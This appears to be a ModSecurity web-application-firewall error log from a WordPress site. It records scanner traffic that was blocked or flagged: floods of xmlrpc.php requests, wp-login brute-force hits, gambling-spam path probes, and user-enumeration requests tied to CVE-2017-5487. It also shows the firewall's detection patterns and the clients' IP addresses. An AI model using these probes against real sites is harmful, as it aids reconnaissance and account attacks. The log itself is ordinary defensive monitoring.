[Thu Feb 05 01:47:49.170628 2026] [:error] [pid 6490:tid 6496] [client 51.75.119.173:56734] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYOGRfjiJaSp2OpoDUmBvQAAAEM"]
[Thu Feb 05 01:50:27.878587 2026] [:error] [pid 63777:tid 63782] [client 51.75.119.173:49972] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYOG4_Q-YVerd_zSVS-QVQAAAAM"]
[Thu Feb 05 01:50:41.560868 2026] [:error] [pid 63684:tid 63709] [client 51.75.119.173:41990] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYOG8dsfhS3nNwjjsUPS7QAAAJQ"]
[Thu Feb 05 01:50:47.002616 2026] [:error] [pid 6490:tid 6499] [client 51.75.119.173:42000] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYOG9_jiJaSp2OpoDUmC0wAAAEY"]
[Thu Feb 05 01:50:51.381727 2026] [:error] [pid 63685:tid 63735] [client 51.75.119.173:52152] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYOG-46Dyg716yRb8FCsEQAAANM"]
[Thu Feb 05 01:51:06.793164 2026] [:error] [pid 26443:tid 26448] [client 51.75.119.173:35380] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYOHCtRUJ4b_jBAfhPJ3KAAAAUM"]
[Thu Feb 05 01:53:36.065978 2026] [:error] [pid 6490:tid 6517] [client 51.75.119.173:35702] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aYOHoPjiJaSp2OpoDUmD3gAAAFg"]
[Thu Feb 05 01:53:45.565749 2026] [:error] [pid 6490:tid 6512] [client 51.75.119.173:42206] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aYOHqfjiJaSp2OpoDUmD7wAAAFM"]
[Thu Feb 05 01:53:57.762682 2026] [:error] [pid 63684:tid 63711] [client 51.75.119.173:39756] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYOHtdsfhS3nNwjjsUPUOwAAAJY"]
[Thu Feb 05 01:54:11.688365 2026] [:error] [pid 63685:tid 63724] [client 51.75.119.173:43566] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYOHw46Dyg716yRb8FCtBAAAAMg"]
[Thu Feb 05 01:54:21.461380 2026] [:error] [pid 63685:tid 63721] [client 51.75.119.173:43138] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aYOHzY6Dyg716yRb8FCtDwAAAMU"]
[Thu Feb 05 01:58:55.059994 2026] [:error] [pid 26443:tid 26465] [client 34.9.199.185:61400] [client 34.9.199.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.9.199.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOI39RUJ4b_jBAfhPJ65AAAAVQ"]
[Thu Feb 05 01:58:58.779725 2026] [:error] [pid 26443:tid 26459] [client 34.9.199.185:61400] [client 34.9.199.185] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYOI4tRUJ4b_jBAfhPJ66gAAAU4"]
[Thu Feb 05 01:59:00.266163 2026] [:error] [pid 26443:tid 26461] [client 34.9.199.185:61400] [client 34.9.199.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.9.199.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOI5NRUJ4b_jBAfhPJ67QAAAVA"]
[Thu Feb 05 01:59:02.397347 2026] [:error] [pid 63684:tid 63705] [client 34.9.199.185:50369] [client 34.9.199.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.9.199.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOI5tsfhS3nNwjjsUPV1gAAAJA"]
[Thu Feb 05 01:59:04.336943 2026] [:error] [pid 63684:tid 63699] [client 34.9.199.185:61868] [client 34.9.199.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.9.199.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOI6NsfhS3nNwjjsUPV4QAAAIo"]
[Thu Feb 05 01:59:04.341525 2026] [:error] [pid 63684:tid 63699] [client 34.9.199.185:61868] [client 34.9.199.185] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 34.9.199.185 (+1 hits since last alert)|gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOI6NsfhS3nNwjjsUPV4QAAAIo"]
[Thu Feb 05 02:56:06.086653 2026] [:error] [pid 63686:tid 63746] [client 217.77.10.74:57293] [client 217.77.10.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYOWRhyaRl9O5jmngTw03AAAAQM"]
[Thu Feb 05 04:37:30.328067 2026] [:error] [pid 12187:tid 12196] [client 211.21.61.244:51720] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOuConHiwpamEOSyaPXGQAAAAA"]
[Thu Feb 05 04:37:53.664518 2026] [:error] [pid 12187:tid 12204] [client 34.44.95.191:58240] [client 34.44.95.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.44.95.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOuIYnHiwpamEOSyaPXRwAAAAg"]
[Thu Feb 05 04:38:14.291162 2026] [:error] [pid 12287:tid 12296] [client 34.63.109.236:55332] [client 34.63.109.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.63.109.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOuNjOXzeBKhB81n7rBVQAAAMY"]
[Thu Feb 05 04:38:17.387487 2026] [:error] [pid 12188:tid 12242] [client 77.121.89.199:34516] [client 77.121.89.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.121.89.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOuOTKWpl9mNO_-qzPSyAAAAFI"]
[Thu Feb 05 05:22:14.847543 2026] [:error] [pid 12189:tid 12253] [client 66.226.73.181:47264] [client 66.226.73.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.226.73.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYO4hr10V_VY_a0vRT52mAAAAII"]
[Thu Feb 05 08:12:32.665154 2026] [:error] [pid 50288:tid 50307] [client 20.84.7.202:27136] [client 20.84.7.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.84.7.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPgcNJ_SR3UqxCWcb198QAAAMs"]
[Thu Feb 05 08:13:57.033692 2026] [:error] [pid 50184:tid 50242] [client 50.6.35.18:58792] [client 50.6.35.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.35.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPgxVoximo2jVxzvs9OngAAAIA"]
[Thu Feb 05 08:14:10.511717 2026] [:error] [pid 50624:tid 50632] [client 50.6.35.18:36822] [client 50.6.35.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.35.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPg0tICUaNaYRCGlHIyZgAAAQU"]
[Thu Feb 05 08:14:23.447528 2026] [:error] [pid 50288:tid 50296] [client 57.128.2.15:10581] [client 57.128.2.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.2.15, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPg39J_SR3UqxCWcb1-tAAAAMA"]
[Thu Feb 05 08:14:31.693768 2026] [:error] [pid 50288:tid 50296] [client 45.117.169.203:56630] [client 45.117.169.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.117.169.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPg59J_SR3UqxCWcb1-ygAAAMA"]
[Thu Feb 05 08:14:46.425182 2026] [:error] [pid 50182:tid 50198] [client 128.14.74.11:56894] [client 128.14.74.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.14.74.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPg9pb6zPs3SP7NHoMZegAAAAw"]
[Thu Feb 05 08:14:53.931816 2026] [:error] [pid 50184:tid 50250] [client 57.128.2.15:26468] [client 57.128.2.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.2.15, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPg_Voximo2jVxzvs9O4QAAAIg"]
[Thu Feb 05 08:15:00.086680 2026] [:error] [pid 50288:tid 50310] [client 162.241.203.12:53854] [client 162.241.203.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.203.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPhBNJ_SR3UqxCWcb1_AwAAAM4"]
[Thu Feb 05 08:15:26.504488 2026] [:error] [pid 50624:tid 50649] [client 198.54.114.124:56064] [client 198.54.114.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.114.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPhHtICUaNaYRCGlHIytQAAARY"]
[Thu Feb 05 08:47:35.343786 2026] [:error] [pid 57067:tid 57071] [client 130.195.241.17:19204] [client 130.195.241.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.195.241.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPop-sowMC7VUmPp2M_hAAAAUI"]
[Thu Feb 05 08:47:40.289216 2026] [:error] [pid 57067:tid 57085] [client 130.195.241.17:19204] [client 130.195.241.17] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYPorOsowMC7VUmPp2M_iQAAAVA"]
[Thu Feb 05 08:47:45.842849 2026] [:error] [pid 57067:tid 57071] [client 130.195.241.17:19204] [client 130.195.241.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.195.241.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPosesowMC7VUmPp2M_jgAAAUI"]
[Thu Feb 05 08:47:49.032297 2026] [:error] [pid 50288:tid 50312] [client 130.195.241.17:12883] [client 130.195.241.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.195.241.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPotdJ_SR3UqxCWcb2NtgAAANA"]
[Thu Feb 05 08:47:52.481504 2026] [:error] [pid 50184:tid 50260] [client 130.195.241.17:5081] [client 130.195.241.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.195.241.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPouFoximo2jVxzvs9ZRwAAAJI"]
[Thu Feb 05 08:47:56.207645 2026] [:error] [pid 50183:tid 50223] [client 130.195.241.17:53561] [client 130.195.241.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.195.241.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYPovEpo3f-TEEfujDSAwgAAAEg"]
[Thu Feb 05 08:52:30.421750 2026] [:error] [pid 50182:tid 50197] [client 43.157.52.37:36328] [client 43.157.52.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYPpzpb6zPs3SP7NHoMqLQAAAAs"]
[Thu Feb 05 09:15:19.476984 2026] [:error] [pid 50182:tid 50210] [client 38.248.90.232:63225] [client 38.248.90.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.248.90.232, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYPvJ5b6zPs3SP7NHoMxHQAAABg"]
[Thu Feb 05 09:15:23.062199 2026] [:error] [pid 50182:tid 50203] [client 38.248.90.232:64004] [client 38.248.90.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.248.90.232, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYPvK5b6zPs3SP7NHoMxIgAAABE"]
[Thu Feb 05 09:45:02.452062 2026] [:error] [pid 12269:tid 12296] [client 182.44.10.67:48725] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYP2HvXlH20E8ZAPZel8JAAAAAo"]
[Thu Feb 05 10:30:57.512729 2026] [:error] [pid 31833:tid 31840] [client 45.92.1.79:65238] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYQA4RzypZt5yekRAkGjawAAAYU"]
[Thu Feb 05 10:30:58.836740 2026] [:error] [pid 31774:tid 31783] [client 45.92.1.79:49885] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYQA4qjDlLg1NOhSOXWAvgAAAIU"]
[Thu Feb 05 10:31:00.041907 2026] [:error] [pid 33396:tid 33407] [client 45.92.1.79:50507] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYQA5PTgp_Ev6LiSSgAp0gAAAMQ"]
[Thu Feb 05 10:31:01.221365 2026] [:error] [pid 31774:tid 31796] [client 45.92.1.79:51285] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYQA5ajDlLg1NOhSOXWAzwAAAJI"]
[Thu Feb 05 10:31:02.407760 2026] [:error] [pid 31739:tid 31741] [client 45.92.1.79:52021] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYQA5gGrHl_5BvMstJIxfgAAAAA"]
[Thu Feb 05 11:15:15.979399 2026] [:error] [pid 31739:tid 31746] [client 3.97.181.231:42006] [client 3.97.181.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.97.181.231, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYQLQwGrHl_5BvMstJI-6AAAAAU"]
[Thu Feb 05 12:42:41.049034 2026] [:error] [pid 33396:tid 33420] [client 81.88.52.239:37920] [client 81.88.52.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.52.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYQfwfTgp_Ev6LiSSgBX0gAAANE"]
[Thu Feb 05 12:42:54.252325 2026] [:error] [pid 31833:tid 31843] [client 101.46.58.127:60148] [client 101.46.58.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 101.46.58.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYQfzhzypZt5yekRAkHViQAAAYg"]
[Thu Feb 05 12:42:58.251392 2026] [:error] [pid 33396:tid 33422] [client 162.0.235.223:40348] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYQf0vTgp_Ev6LiSSgBX4QAAANM"]
[Thu Feb 05 14:07:52.052525 2026] [:error] [pid 33396:tid 33404] [client 159.69.28.178:56372] [client 159.69.28.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.69.28.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYQzuPTgp_Ev6LiSSgBzTwAAAME"]
[Thu Feb 05 16:15:13.293127 2026] [:error] [pid 31775:tid 31807] [client 54.36.142.130:54080] [client 54.36.142.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.142.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYRRkRNlTj92HTKsJN3SaQAAAQI"]
[Thu Feb 05 16:15:20.330208 2026] [:error] [pid 31774:tid 31790] [client 129.226.82.190:55140] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYRRmKjDlLg1NOhSOXX65QAAAIw"]
[Thu Feb 05 16:15:44.637811 2026] [:error] [pid 31775:tid 31823] [client 211.21.61.244:49758] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYRRsBNlTj92HTKsJN3SogAAARI"]
